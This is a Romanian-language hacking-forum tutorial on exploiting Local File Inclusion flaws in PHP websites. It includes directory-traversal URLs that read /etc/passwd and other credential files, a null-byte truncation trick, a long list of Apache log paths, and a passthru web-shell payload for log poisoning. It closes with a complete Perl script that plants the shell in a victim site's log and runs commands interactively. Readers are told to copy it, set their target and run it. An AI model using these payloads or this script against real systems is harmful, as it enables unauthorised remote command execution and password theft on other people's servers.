Jump to content
SilentPH

Exploatare LFI (detaliat)

Recommended Posts

Posted (edited)


Buna ziua! In acest tutorial o sa invatati cum cum sa exploatati vulnerabilitatea LFI dintr-un site.

Mai intai, sa vedem acest mic cod php:

<?php

$page = $_GET


;

include($page);

?>

Acesta este un cod care nu ar trebui folosit niciodata, vulnerabil la LFI, pentru ca variabila $page nu este santinizata.

Ok, acum sa profitam de aceasta vulnerabilitate, folosind urmatorul cod:

site.host/index.php?page=../../../../../../../etc/passwd

In unele cazuri nu mai este nevoie sa punem ../../../../../../.., etc/passwd fiind de ajuns pentru a avea acces unde trebuie

Daca siteul este gazduit Unix, parolele userilor sunt stocate in /etc/passwd (in cazul in care parola nu este shadow, in acest caz ea aflandu-se in /etc/shadow, unde vom putea avea acces doar daca am avea drepturi de root), si codul de mai sus ne arata aceste parole si usernameurile. Acum tot ce mai ai de facut este sa decodezi parola.

O parola criptata(in acest caz, parola este shadowed si se afla in /etc/shadow), ar trebui sa arate cam asa:

username: x:503:100:FullName:/home/username:/bin/sh

In acest caz, parola este shadowed si se afla in /etc/shadow), alt exemplu de parola fiind:

username:!:503:100:FullName:/home/username:/bin/sh

Alte "locuri" unde puteti gasi parolele in afara de /etc/passwd ar cam fi:

/etc/shadow

/etc/group

/etc/master.passwd

/etc/security/group

/etc/security/passwd

/etc/security/user

/etc/security/environ

/etc/security/limits

In caz ca Browserul va arata la sfarsitul includerii un .php (si automat. /etc/passwd.php nu va mai exista), adaugati la sf includerii %00, serverul va omite tot ce scrie dupa %00.

Exemplu de cod:

site.host/index.php?file=../../../../../../../../etc/passwd%00

Acum vom incerca sa rulam comenzi pe server injectand coduri php in loguri, apoi rulandu-le.

Cateva adrese de loguri:

../apache/logs/error.log

../apache/logs/access.log

../../apache/logs/error.log

../../apache/logs/access.log

../../../apache/logs/error.log

../../../apache/logs/access.log

../../../../../../../etc/httpd/logs/acces_log

../../../../../../../etc/httpd/logs/acces.log

../../../../../../../etc/httpd/logs/error_log

../../../../../../../etc/httpd/logs/error.log

../../../../../../../var/www/logs/access_log

../../../../../../../var/www/logs/access.log

../../../../../../../usr/local/apache/logs/access_log

../../../../../../../usr/local/apache/logs/access.log

../../../../../../../var/log/apache/access_log

../../../../../../../var/log/apache2/access_log

../../../../../../../var/log/apache/access.log

../../../../../../../var/log/apache2/access.log

../../../../../../../var/log/access_log

../../../../../../../var/log/access.log

../../../../../../../var/www/logs/error_log

../../../../../../../var/www/logs/error.log

../../../../../../../usr/local/apache/logs/error_log

../../../../../../../usr/local/apache/logs/error.log

../../../../../../../var/log/apache/error_log

../../../../../../../var/log/apache2/error_log

../../../../../../../var/log/apache/error.log

../../../../../../../var/log/apache2/error.log

../../../../../../../var/log/error_log

../../../../../../../var/log/error.log

Ok, acum sa aruncam o privire asupra logului in care se salveaza paginile care nu exista si urmatorul cod: <? passthru($_GET[cmd]) ?>. Daca scriem in browser:

site.host/<? passthru($_GET[cmd]) ?>

O sa ne arate evident o pagina in care scrie ca acest cod nu exista pe server, deoarece browserul encodeaza automat URL'ul si pagina pe care noi am accesat-o, browserul o traduce in:

site.host/%3C?%20passthru($_GET[cmd])%20?>

Deci va trebui sa facem altceva... Putem utiliza urmatorul script perl:

#!/usr/bin/perl -w

use IO::Socket;

use LWP::UserAgent;

$site="victim.com";

$path="/folder/";

$code="<? passthru($_GET[cmd]) ?>";

$log = "../../../../../../../etc/httpd/logs/error_log";

print "Trying to inject the code";

$socket = IO::Socket::INET->new(Proto =>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die " Connection Failed. ";

print $socket "GET ".$path.$code." HTTP/1.1 ";

print $socket "User-Agent: ".$code." ";

print $socket "Host: ".$site." ";

print $socket "Connection: close ";

close($socket);

print " Code $code sucssefully injected in $log ";

print " Type command to run or exit to end: ";

$cmd = <STDIN>;

while($cmd !~ "exit") {

$socket = IO::Socket::INET->new(Proto =>"tcp", PeerAddr=>"$site", PeerPort=>"80") or die " Connection Failed. ";

print $socket "GET ".$path."index.php=".$log."&cmd=$cmd HTTP/1.1 ";

print $socket "Host: ".$site." ";

print $socket "Accept: */* ";

print $socket "Connection: close ";

while ($show = <$socket>)

{

print $show;

}

print "Type command to run or exit to end: ";

$cmd = <STDIN>;

}

Copy/Paste la chestia asta si salveaz-o ca ex.pl, dar nu uita sa modifici in exploit urmatoarele lucruri:

1) modifica numele siteului

2) modifica numele logului si calea catre el

3) schimba index.php= cu ce doresti tu

Rulati scriptul si el va va intreba ce comenzi sa rulati !!! Va descurcati de aici incolo !!!

Linkuri utile: http://www.milw0rm.com/video/watch.php?id=57

Sursa: http://hackpedia.info/viewtopic.php?f=21&t=1644

Edited by SilentPH

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...